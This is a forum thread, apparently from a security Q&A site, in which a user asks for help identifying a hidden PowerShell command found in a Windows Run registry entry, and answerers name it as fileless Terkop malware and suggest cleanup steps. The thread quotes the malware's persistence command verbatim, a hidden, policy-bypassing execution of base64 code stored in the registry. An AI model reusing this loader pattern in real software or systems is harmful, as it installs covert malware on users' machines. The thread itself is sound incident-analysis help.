1

I get this line by ProcessExplorer

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\ZXWNMNLIMAGAL').LOOTDA)));

Now i'm sure that can be an encoded virus when i read this from the registry :

Google Update REG_SZ
"C:\Users\michael\AppData\Local\Google\Update\GoogleUpdate.exe" /c {BE9473EA-5660-4BF7-91C3-2A2258213EE1} REG_SZ C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\ZXWNMNLIMAGAL').LOOTDA)));

So, i exported the data value LOOTDA from the registry and i copy it as text file and i upload it here

So, i'm looking for any expert in encryption and decryption to decode and decrypt this kind of virus in order to read its source code and what it could be a harmful for us !

Thank you !

  • Could you please use at least a pastebin instead of a rar file? – Johannes Kuhn Mar 29 '16 at 13:42
  • 1
    The original LOOTDA_VIRUS.txt inside the RAR is too big for pastebin. I base64 decoded it to get this: pastebin.com/y4r9JxNW It's still obfuscated but it's a start. – mittmemo Mar 29 '16 at 13:43
  • @JohannesKuhn as he said mittmemo the file is to big to paste it on pastebin ! – Hackoo Mar 29 '16 at 13:51
3

This malware tries to avoid using files and processes by having the payload reside in the registry and using the PowerSploit methods to load code directly into memory via PowerShell commands. The Invoke-ReflectivePEInjection gives it away. It belongs to the Terkop malware family.

  • Thanks for the explanation ! Now what can i do to get rid it from the registry ? because i tried to delete it from the registry , but strangely, I can not delete the key or renaming it, or the class while I'm adminstrator really strange ??? Remove ZXWNMNLIMAGAL impossible error during the deletion of the key. – Hackoo Mar 29 '16 at 14:11
  • 1
    I can't make specific recommendations. Use an antivirus rescue disk to boot and scan from it. It is safer to reinstall from scratch. – Cristian Dobre Mar 29 '16 at 14:24
1

You do not need

any expert in encryption and decryption

You need a base64 decoder, like this one.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.